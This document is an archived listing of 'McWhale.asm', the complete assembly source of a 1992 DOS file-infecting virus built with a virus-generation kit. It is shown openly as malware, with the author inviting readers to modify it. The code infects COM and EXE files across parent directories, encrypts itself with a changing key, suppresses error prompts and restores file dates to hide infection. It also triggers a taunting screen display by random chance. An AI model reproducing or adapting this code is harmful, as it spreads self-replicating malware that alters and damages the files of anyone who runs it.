home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MCWHALE.ASM < prev    next >
Assembly Source File  |  1992-10-09  |  17KB  |  508 lines

  1. ; McWhale.asm : [McAfee' Whale] by [pAgE]
  2. ; Created wik the Phalcon/Skism Mass-Produced Code Generator
  3. ; from the configuration file skeleton.cfg
  4. ;
  5. ; Here's another "lame dick" virus! I thought it was rather fitting!
  6. ; Many thanks to the fellows at Phalcon/Skism for this little tool.
  7. ; I am sure that Dark Angel and the bunch are not stopping here, but
  8. ; will come up with another innovation in Vx production...
  9. ;
  10. ; I have set this file to activate at a 40% chance on any day. Feel free
  11. ; to modify this program as you see fit or keep it as a novelty in its
  12. ; original form.
  13.  
  14.  
  15. .model tiny                             ; Handy directive
  16. .code                                   ; Virus code segment
  17.           org    100h                   ; COM file starting IP
  18.  
  19. id = 'MO'                               ; ID word for EXE infections
  20. entry_point: db 0e9h,0,0                ; jmp decrypt
  21.  
  22. decrypt:                                ; handles encryption and decryption
  23.           mov  bx,(offset heap - offset startencrypt)/2 ; iterations
  24. patch_startencrypt:
  25.           mov  si,offset startencrypt   ; start of decryption
  26. decrypt_loop:
  27.           db   2eh,81h,04h              ; add word ptr cs:[si], xxxx
  28. decrypt_value dw 0                      ; initialised at zero for null effect
  29.           inc  si                       ; calculate new decryption location
  30.           inc  si
  31.           dec  bx                       ; If we are not done, then
  32.           jnz  decrypt_loop             ; decrypt mo'
  33. startencrypt:
  34.           call next                     ; calculate delta offset
  35. next:     pop  bp                       ; bp = IP next
  36.           sub  bp,offset next           ; bp = delta offset
  37.  
  38.           cmp  sp,id                    ; COM or EXE?
  39.           je   restoreEXE
  40. restoreCOM:
  41.           lea  si,[bp+save3]
  42.           mov  di,100h
  43.           push di                       ; For later return
  44.           movsb
  45.           jmp  short restoreEXIT
  46. restoreEXE:
  47.           push ds
  48.           push es
  49.           push cs                       ; DS = CS
  50.           pop  ds
  51.           push cs                       ; ES = CS
  52.           pop  es
  53.           lea  si,[bp+jmpsave2]
  54.           lea  di,[bp+jmpsave]
  55.           movsw
  56.           movsw
  57.           movsw
  58. restoreEXIT:
  59.           movsw
  60.  
  61.           mov  byte ptr [bp+numinfec],2 ; reset infection counter
  62.  
  63.           mov  ah,1Ah                   ; Set new DTA
  64.           lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  65.           int  21h
  66.  
  67.           mov  ah,47h                   ; Get current directory
  68.           mov  dl,0                     ; Current drive
  69.           lea  si,[bp+origdir]          ; DS:SI->buffer
  70.           int  21h
  71.           mov  byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
  72.  
  73.           mov  ax,3524h                 ; Get int 24 handler
  74.           int  21h                      ; to ES:BX
  75.           mov  word ptr [bp+oldint24],bx; Save it
  76.           mov  word ptr [bp+oldint24+2],es
  77.           mov  ah,25h                   ; Set new int 24 handler
  78.           lea  dx,[bp+offset int24]     ; DS:DX->new handler
  79.           int  21h
  80.           push cs                       ; Restore ES
  81.           pop  es                       ; 'cuz it was changed
  82.  
  83. dir_scan:                               ; "dot dot" traversal
  84.           lea  dx,[bp+exe_mask]
  85.           call infect_mask
  86.           lea  dx,[bp+com_mask]
  87.           call infect_mask
  88.           mov  ah,3bh                   ; change directory
  89.           lea  dx,[bp+dot_dot]          ; "cd .."
  90.           int  21h
  91.           jnc  dir_scan                 ; go back for mo!
  92.  
  93. done_infections:
  94.           mov  ah,2ah                   ; Get current date
  95.           int  21h                      ;
  96.          ;cmp  dh,4                     ; Check month
  97.          ;jb   exit_virus               ;
  98.          ;cmp  dl,15                    ; Check date
  99.          ;jnz  exit_virus               ;
  100.  
  101.          ;mov  ah,2ch                   ; Get current time
  102.          ;int  21h
  103.           cmp  dl,40                    ; Check the percentage
  104.           jbe  activate
  105.  
  106. exit_virus:
  107.           mov  ax,2524h                 ; Restore int 24 handler
  108.           lds  dx,[bp+offset oldint24]  ; to original
  109.           int  21h
  110.           push cs
  111.           pop  ds
  112.  
  113.           mov  ah,3bh                   ; change directory
  114.           lea  dx,[bp+origdir-1]        ; original directory
  115.           int  21h
  116.  
  117.           mov  ah,1ah                   ; restore DTA to default
  118.           mov  dx,80h                   ; DTA in PSP
  119.           cmp  sp,id-4                  ; EXE or COM?
  120.           jz   returnEXE
  121. returnCOM:
  122.           int  21h
  123.           retn                          ; 100h is on stack
  124. returnEXE:
  125.           pop  es
  126.           pop  ds
  127.           int  21h
  128.           mov  ax,es                    ; AX = PSP segment
  129.           add  ax,10h                   ; Adjust for PSP
  130.           add  word ptr cs:[bp+jmpsave+2],ax
  131.           add  ax,word ptr cs:[bp+stacksave+2]
  132.           cli                           ; Clear intrpts for stack manipulation
  133.           mov  sp,word ptr cs:[bp+stacksave]
  134.           mov  ss,ax
  135.           sti
  136.           db   0eah                     ; jmp ssss:oooo
  137. jmpsave             dd ?                ; Original CS:IP
  138. stacksave           dd ?                ; Original SS:SP
  139. jmpsave2            db ?                ; Actually four bytes
  140. save3               db 0cdh,20h,0       ; First 3 bytes of COM file
  141. stacksave2          dd ?
  142.  
  143. activate        proc    far
  144.  
  145. start:
  146.         jmp    loc_1
  147. data_1        db    0
  148. data_2        dw    0
  149.         db     62h, 79h
  150.                 db      ' ABRAXAS - '
  151. copyright       db      '(c) 1992 Abraxas Warez.'
  152.                 db      '.....................................BEWARE!!!............'
  153.                 db      '....................'
  154. data_5          db      'Anti-Virus.....Man.....John.....McAfee.....wrote'
  155.                 db      '.....the.....WHALE.....virus!!!'
  156.                 db      '..............................HONEST!!!....................................$'
  157. loc_1:
  158.         push    si
  159.         push    di
  160.         mov    si,80h
  161.         cld                ; Clear direction
  162.         call    sub_1
  163.         cmp    byte ptr [si],0Dh
  164.         je    loc_4            ; Jump if equal
  165.         mov    cx,28h
  166.         lea    di,data_5        ; ('Attention: Please press ') Load ef
  167. locloop_2:
  168.         lodsb                ; String [si] to al
  169.         cmp    al,0Dh
  170.         je    loc_3            ; Jump if equal
  171.         stosb                ; Store al to es:[di]
  172.         loop    locloop_2        ; Loop if cx > 0
  173. loc_3:
  174.         inc    cx
  175.         mov    al,2Eh            ; '.'
  176.         rep    stosb            ; Rep when cx >0 Store al to es:[di]
  177. loc_4:
  178.         pop    di
  179.         pop    si
  180.         mov    ah,3
  181.         mov    bh,0
  182.         int    10h            ; Video display   ah=functn 03h
  183.                         ;  get cursor loc in dx, mode cx
  184.  
  185.                 mov     data_2,cx
  186.         mov    ah,1
  187.         mov    cx,0F00h
  188.         int    10h            ; Video display   ah=functn 01h
  189.                         ;  set cursor mode in cx
  190.         mov    ah,2
  191.         mov    dh,18h
  192.         mov    dl,13h
  193.         int    10h            ; Video display   ah=functn 02h
  194.                         ;  set cursor location in dx
  195. loc_5:
  196.         mov    data_1,0FFh
  197. loc_6:
  198.         add    data_1,1
  199.         mov    bl,data_1
  200.         mov    bh,0
  201.         mov    cx,27h
  202.         call    sub_2
  203.  
  204. locloop_7:
  205.         mov    al,byte ptr copyright+20h[bx]    ; ('.')
  206.         mov    ah,0Eh
  207.         int    10h            ; Video display   ah=functn 0Eh
  208.                         ;  write char al, teletype mode
  209.         inc    bx
  210.         call    sub_3
  211.         mov    dl,0FFh
  212.         mov    ah,6
  213.         int    21h            ; DOS Services  ah=function 06h
  214.                         ;  special char i/o, dl=subfunc
  215.         jnz    loc_10            ; Jump if not zero
  216.         loop    locloop_7        ; Loop if cx > 0
  217.  
  218.         cmp    byte ptr copyright+20h[bx],24h    ; ('.') '$'
  219.         je    loc_5            ; Jump if equal
  220.         jmp    short loc_6
  221.  
  222. activate        endp
  223.  
  224. sub_1        proc    near
  225. loc_8:
  226.         inc    si
  227.         cmp    byte ptr [si],20h    ; ' '
  228.         je    loc_8            ; Jump if equal
  229.                 retn
  230. sub_1        endp
  231.  
  232. sub_2        proc    near
  233.                 push    ax
  234.                 push    bx
  235.                 push    cx
  236.                 push    dx
  237.                 mov     dx,si
  238.                 mov     cx,di
  239.                 mov     al,4
  240.                 mov     ah,0ch
  241.                 int     10h
  242.                 mov     ah,2
  243.                 mov     dh,8h
  244.                 mov     dl,14h
  245.                 mov     cx,30
  246.                 int     10h                     ; Video display   ah=functn 02h
  247.                 mov     ah,10h
  248.                 mov     al,0
  249.                 mov     bl,4
  250.                 mov     bh,63
  251.                 int     10h
  252.                 pop     dx
  253.                 pop     cx
  254.                 pop     bx
  255.                 pop     ax
  256.  
  257.                 retn
  258. sub_2        endp
  259.  
  260. sub_3        proc    near
  261.         push    cx
  262.         mov    cx,258h
  263. locloop_9:
  264.         loop    locloop_9        ; Loop if cx > 0
  265.         pop    cx
  266.         retn
  267. sub_3        endp
  268.  
  269. loc_10:
  270.         call    sub_2
  271.         mov    cx,4Fh
  272. locloop_11:
  273.         mov    al,20h            ; ' '
  274.         mov    ah,0Eh
  275.         int    10h            ; Video display   ah=functn 0Eh
  276.                         ;  write char al, teletype mode
  277.         loop    locloop_11        ; Loop if cx > 0
  278.  
  279.         mov    ah,1
  280.         mov    cx,data_2
  281.         int    10h            ; Video display   ah=functn 01h
  282.         int    20h            ; DOS program terminate
  283.           jmp  exit_virus
  284.  
  285. creator             db '[MPC]',0                ; BIG SIGN!!!
  286. virusname           db "[McAfee' Whale]",0      ; That's it!!
  287. author              db '[pAgE]',0               ; Nah! Not me!<g>
  288.  
  289. infect_mask:
  290.           mov  ah,4eh                   ; find first file
  291.           mov  cx,7                     ; any attribute
  292. findfirstnext:
  293.           int  21h                      ; DS:DX points to mask
  294.           jc   exit_infect_mask         ; No mo files found
  295.  
  296.           mov  al,0h                    ; Open read only
  297.           call open
  298.  
  299.           mov  ah,3fh                   ; Read file to buffer
  300.           lea  dx,[bp+buffer]           ; @ DS:DX
  301.           mov  cx,1Ah                   ; 1Ah bytes
  302.           int  21h
  303.  
  304.           mov  ah,3eh                   ; Close file
  305.           int  21h
  306.  
  307.           cmp  word ptr [bp+buffer],'ZM'; EXE?
  308.           jz   checkEXE                 ; Why yes, yes it is!
  309. checkCOM:
  310.           mov  ax,word ptr [bp+newDTA+35] ; Get tail of filename
  311.           cmp  ax,'DN'                  ; Ends in ND? (commaND)
  312.           jz   find_next
  313.  
  314.           mov  ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
  315.           mov  bx,word ptr [bp+buffer+1]; get jmp location
  316.           add  bx,heap-decrypt+3        ; Adjust for virus size
  317.           cmp  ax,bx
  318.           je   find_next                ; already infected
  319.           jmp  infect_com
  320. checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  321.           jnz  infect_exe
  322. find_next:
  323.           mov  ah,4fh                   ; find next file
  324.           jmp  short findfirstnext
  325. exit_infect_mask: ret
  326.  
  327. infect_exe:
  328.           les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  329.           mov  word ptr [bp+jmpsave2], ax
  330.           mov  word ptr [bp+jmpsave2+2], es
  331.  
  332.           les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  333.           mov  word ptr [bp+stacksave2], es
  334.           mov  word ptr [bp+stacksave2+2], ax
  335.  
  336.           mov  ax, word ptr [bp+buffer + 8] ; Get header size
  337.           mov  cl, 4                    ; convert to bytes
  338.           shl  ax, cl
  339.           xchg ax, bx
  340.  
  341.           les  ax, [bp+offset newDTA+26]; Get file size
  342.           mov  dx, es                   ; to DX:AX
  343.           push ax
  344.           push dx
  345.  
  346.           sub  ax, bx                   ; Subtract header size from
  347.           sbb  dx, 0                    ; file size
  348.  
  349.           mov  cx, 10h                  ; Convert to segment:offset
  350.           div  cx                       ; form
  351.  
  352.           mov  word ptr [bp+buffer+14h], dx ; New entry point
  353.           mov  word ptr [bp+buffer+16h], ax
  354.  
  355.           mov  word ptr [bp+buffer+0Eh], ax ; and stack
  356.           mov  word ptr [bp+buffer+10h], id
  357.  
  358.           pop  dx                       ; get file length
  359.           pop  ax
  360.  
  361.           add  ax, heap-decrypt         ; add virus size
  362.           adc  dx, 0
  363.  
  364.           mov  cl, 9
  365.           push ax
  366.           shr  ax, cl
  367.           ror  dx, cl
  368.           stc
  369.           adc  dx, ax
  370.           pop  ax
  371.           and  ah, 1                    ; mod 512
  372.  
  373.           mov  word ptr [bp+buffer+4], dx ; new file size
  374.           mov  word ptr [bp+buffer+2], ax
  375.  
  376.           push cs                       ; restore ES
  377.           pop  es
  378.  
  379.           push word ptr [bp+buffer+14h] ; needed later
  380.           mov  cx, 1ah
  381.           jmp  short finishinfection
  382. infect_com:                             ; ax = filesize
  383.           mov  cx,3
  384.           sub  ax,cx
  385.           lea  si,[bp+offset buffer]
  386.           lea  di,[bp+offset save3]
  387.           movsw
  388.           movsb
  389.           mov  byte ptr [si-3],0e9h
  390.           mov  word ptr [si-2],ax
  391.           add  ax,103h
  392.           push ax                       ; needed later
  393. finishinfection:
  394.           push cx                       ; Save # bytes to write
  395.           xor  cx,cx                    ; Clear attributes
  396.           call attributes               ; Set file attributes
  397.  
  398.           mov  al,2
  399.           call open
  400.  
  401.           mov  ah,40h                   ; Write to file
  402.           lea  dx,[bp+buffer]           ; Write from buffer
  403.           pop  cx                       ; cx bytes
  404.           int  21h
  405.  
  406.           mov  ax,4202h                 ; Move file pointer
  407.           xor  cx,cx                    ; to end of file
  408.           cwd                           ; xor dx,dx
  409.           int  21h
  410.  
  411.           mov  ah,2ch                   ; Get current time
  412.           int  21h                      ; dh=sec,dl=1/100 sec
  413.           mov  [bp+decrypt_value],dx    ; Set new encryption value
  414.           lea  di,[bp+code_store]
  415.           mov  ax,5355h                 ; push bp,push bx
  416.           stosw
  417.           lea  si,[bp+decrypt]          ; Copy encryption function
  418.           mov  cx,startencrypt-decrypt  ; Bytes to move
  419.           push si                       ; Save for later use
  420.           push cx
  421.           rep  movsb
  422.  
  423.           xor  byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
  424.  
  425.           lea    si,[bp+write]          ; Copy writing function
  426.           mov    cx,endwrite-write      ; Bytes to move
  427.           rep    movsb
  428.           pop    cx
  429.           pop    si
  430.           pop    dx                     ; Entry point of virus
  431.           push   di
  432.           push   si
  433.           push   cx
  434.           rep    movsb                  ; Copy decryption function
  435.           mov    ax,5b5dh               ; pop bx,pop bp
  436.           stosw
  437.           mov    al,0c3h                ; retn
  438.           stosb
  439.  
  440.           add    dx,offset startencrypt - offset decrypt ; Calculate new
  441.           mov    word ptr [bp+patch_startencrypt+1],dx ; starting offset of
  442.           call   code_store             ; decryption
  443.           pop    cx
  444.           pop    di
  445.           pop    si
  446.           rep    movsb                  ; Restore decryption function
  447.  
  448.           mov  ax,5701h                 ; Restore creation date/time
  449.           mov  cx,word ptr [bp+newDTA+16h] ; time
  450.           mov  dx,word ptr [bp+newDTA+18h] ; date
  451.           int  21h
  452.  
  453.           mov  ah,3eh                   ; Close file
  454.           int  21h
  455.  
  456.           mov ch,0
  457.           mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  458.           call attributes               ; attributes
  459.  
  460.           dec  byte ptr [bp+numinfec]   ; One mo infection
  461.           jnz  mo_infections            ; Not enough
  462.           pop  ax                       ; remove call from stack
  463.           jmp  done_infections
  464. mo_infections: jmp find_next
  465.  
  466. open:
  467.           mov  ah,3dh
  468.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  469.           int  21h
  470.           xchg ax,bx
  471.           ret
  472.  
  473. attributes:
  474.           mov  ax,4301h                 ; Set attributes to cx
  475.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  476.           int  21h
  477.           ret
  478.  
  479. write:
  480.           pop  bx                       ; Restore file handle
  481.           pop  bp                       ; Restore relativeness
  482.           mov  ah,40h                   ; Write to file
  483.           lea  dx,[bp+decrypt]          ; Concatenate virus
  484.           mov  cx,heap-decrypt          ; # bytes to write
  485.           int  21h
  486.           push bx
  487.           push bp
  488. endwrite:
  489.  
  490. int24:                                  ; New int 24h (error) handler
  491.           mov  al,3                     ; Fail call
  492.           iret                          ; Return control
  493.  
  494. exe_mask            db '*.exe',0
  495. com_mask            db '*.com',0
  496. dot_dot             db '..',0
  497. heap:                                   ; Variables not in code
  498. ; The following code is the buffer for the write function
  499. code_store:         db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
  500. oldint24            dd ?                ; Storage for old int 24h handler      
  501. backslash           db ?
  502. origdir             db 64 dup (?)       ; Current directory buffer             
  503. newDTA              db 43 dup (?)       ; Temporary DTA                        
  504. numinfec            db ?                ; Infections this run                  
  505. buffer              db 1ah dup (?)      ; read buffer                          
  506. endheap:                                ; End of virus
  507. end       entry_point
  508.